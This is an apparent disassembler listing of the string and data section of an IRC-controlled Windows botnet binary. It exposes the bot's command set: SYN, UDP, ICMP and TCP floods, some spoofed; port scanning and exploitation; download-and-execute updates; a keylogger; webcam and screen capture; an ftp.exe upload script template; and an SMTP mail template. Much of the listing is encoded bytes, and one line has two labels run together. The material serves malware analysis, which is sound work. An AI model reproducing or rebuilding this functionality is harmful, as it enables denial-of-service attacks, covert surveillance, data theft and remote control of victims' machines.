a_n_z_m_Keylog_	db '.n.z.m. (keylog.p.l.g) .»».',0 ; DATA XREF: sub_40F6F1+48CCo
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_40F6F1+48C7o
		align 4
dword_435D14	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413FABo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_435D60	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413FA1o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 10h
dword_435DB0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+48A6o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
dword_435DEC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413EFFo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 4
dword_435E34	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413EF8o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_435E78	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+47F7o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_40F6F1:loc_413E6Co
		align 4
dword_435EBC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+476Eo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_435EF0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+4738o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40F6F1:loc_413DD5o
dword_435F2C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413DC2o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_435F74	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_413DBBo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_435FB0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+46BAo
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40F6F1:loc_413D72o
		align 4
dword_435FF4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4663o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_43601C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4628o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_43605C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+460Co
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_436090	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+458Do
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_4360BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4552o
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_4360E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+44FCo
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_436114	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4494o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_436138	dd 54524150h, 0D732520h, 0Ah					; sub_40F6F1+50FCo
dword_436144	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+442Bo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40F6F1+441Do
		align 4
dword_43617C	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40F6F1+43F4o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_4361A8	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40F6F1+4389o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_4361D4	dd 45444F4Dh, 732520hdword_4361DC	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40F6F1+42FFo
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_436208	dd 4B43494Eh, 732520h					; sub_40F6F1+4F43o
dword_436210	dd 4E494F4Ah, 20732520h, 7325hdword_43621C	dd 54524150h, 732520hdword_436224	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_4138FEo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_436268	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+41D6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40F6F1+4185o
		align 4
dword_436298	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_41382Eo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_4362BC	dd 25207325h, 73252073h, 73253A20h, 0					; sub_40F6F1+41B0o ...
unk_4362CC	db    2			; DATA XREF: sub_40F6F1:loc_41379Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_436320	db    2			; DATA XREF: sub_40F6F1+40A2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_43636C	db    2			; DATA XREF: sub_40F6F1+4033o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40F6F1+3F8Do
		align 4
dword_4363B4	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40F6F1+3F2Bo
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4363DC	db    2			; DATA XREF: sub_40F6F1+3F20o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_436410	db    2			; DATA XREF: sub_40F6F1+3E98o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_43645C	db    2			; DATA XREF: sub_40F6F1+3E1Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_43649C	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40F6F1:loc_413471o
					; sub_40F6F1:loc_414449o
		dd 0BBBB0220h, 2002h
unk_4364B8	db    2			; DATA XREF: sub_40F6F1+3D68o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_4364EC	db    2			; DATA XREF: sub_40F6F1:loc_413437o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_436534	db    2			; DATA XREF: sub_40F6F1+3D3Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_43657C	db    2			; DATA XREF: sub_40F6F1+3CC2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_4365B8	db    2			; DATA XREF: sub_40F6F1+3C4Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
unk_436600	db    2			; DATA XREF: sub_40F6F1+3BDCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 10h
unk_436640	db    2			; DATA XREF: sub_40F6F1+3B60o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436688	db    2			; DATA XREF: sub_40F6F1+3AE8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_4366C8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+3A67o
		dd 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_436710	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+39EFo
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_43674C	db    2			; DATA XREF: sub_40F6F1+397Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_43679C	db    2			; DATA XREF: sub_40F6F1+3910o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_4367D8	db    2			; DATA XREF: sub_40F6F1+3827o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_43682C	db    2			; DATA XREF: sub_40F6F1+37BCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436878	db    2			; DATA XREF: sub_40F6F1+3731o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_4368C4	db    2			; DATA XREF: sub_40F6F1+36C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40F6F1+363Eo
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40F6F1+3544o
		align 10h
dword_436930	dd 54434101h, 204E4F49h, 17325h					; sub_40F6F1+44DDo
unk_43693C	db    2			; DATA XREF: sub_40F6F1+3457o
					; sub_40F6F1+53E9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_436984	db    2			; DATA XREF: sub_40F6F1+33E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40F6F1+33BDo
					; sub_40F6F1+534Do
		align 10h
aRandom_0	db 'Random',0           ; DATA XREF: sub_40F6F1+33B6o
					; sub_40F6F1+5346o
		align 4
unk_436A08	db    2			; DATA XREF: sub_40F6F1+3278o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan, no IP specified.',0
		align 4
unk_436A4C	db    2			; DATA XREF: sub_40F6F1+321Bo
					; sub_40F6F1:loc_414B28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, port is invalid.',0
		align 10h
unk_436A90	db    2			; DATA XREF: sub_40F6F1+3129o
					; sub_40F6F1+519Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_436ADC	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+30CEo
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436B24	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+3063o
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40F6F1+2FACo
		align 4
unk_436B94	db    2			; DATA XREF: sub_40F6F1+2F97o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436BDC	db    2			; DATA XREF: sub_40F6F1+2F28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_436C34	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_41256Eo
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_436C7C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2E73o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CC4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2DF9o
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40F6F1+2DE9o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40F6F1+2DE2o
dword_436D18	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2D4Do
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_436D50	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_412353o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_436D8C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2C5Bo
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40F6F1+2C44o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40F6F1+2C2Do
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40F6F1+2C0Do
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40F6F1+2BE9o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40F6F1+2BD8o
		align 4
dword_436E08	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+2B62o
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40F6F1+2B3Fo
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40F6F1+2B1Co
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40F6F1+2B05o
		align 10h
unk_436E60	db    3			; DATA XREF: sub_40F6F1+2AE9o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40F6F1+2A75o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40F6F1+29D9o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40F6F1+298Ao
		align 4
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40F6F1+2973o
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40F6F1+295Co
		align 4
aP:					; DATA XREF: sub_40F6F1+2945o
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40F6F1+292Eo
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40F6F1+2917o
		align 4
aU:					; DATA XREF: sub_40F6F1+2900o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40F6F1+28E9o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40F6F1+28D2o
		align 4
aRoot_s		db 'root.s',0           ; DATA XREF: sub_40F6F1+28BBo
		align 10h
aRoot_start	db 'root.start',0       ; DATA XREF: sub_40F6F1+28A4o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40F6F1+287Bo
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40F6F1+2864o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40F6F1+284Do
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40F6F1+2836o
		align 4
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40F6F1+281Fo
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40F6F1+2808o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40F6F1+27F1o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40F6F1+27DAo
aDownload_wg33	db 'download.wg33',0    ; DATA XREF: sub_40F6F1+27C3o
		align 4
aDownload_wgett	db 'download.wgett4m13',0 ; DATA XREF: sub_40F6F1+27ACo
		align 4
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40F6F1+2795o
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40F6F1+277Eo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40F6F1+2722o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40F6F1+270Bo
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40F6F1+26E2o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40F6F1+26CBo
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40F6F1+26B4o
		align 4
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40F6F1+269Do
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40F6F1+2686o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_40F6F1+266Fo
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40F6F1+2658o
		align 10h
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40F6F1+2641o
aDownload_up33	db 'download.up33',0    ; DATA XREF: sub_40F6F1+262Ao
		align 4
aDownload_updat	db 'download.updat4m13',0 ; DATA XREF: sub_40F6F1+2613o
		align 10h
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40F6F1+25FCo
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40F6F1+25E5o
		align 4
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40F6F1+25CEo
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40F6F1+25B7o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40F6F1+25A0o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40F6F1+2589o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40F6F1+2572o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40F6F1+255Bo
		align 10h
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40F6F1+2544o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40F6F1+252Do
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40F6F1+2516o
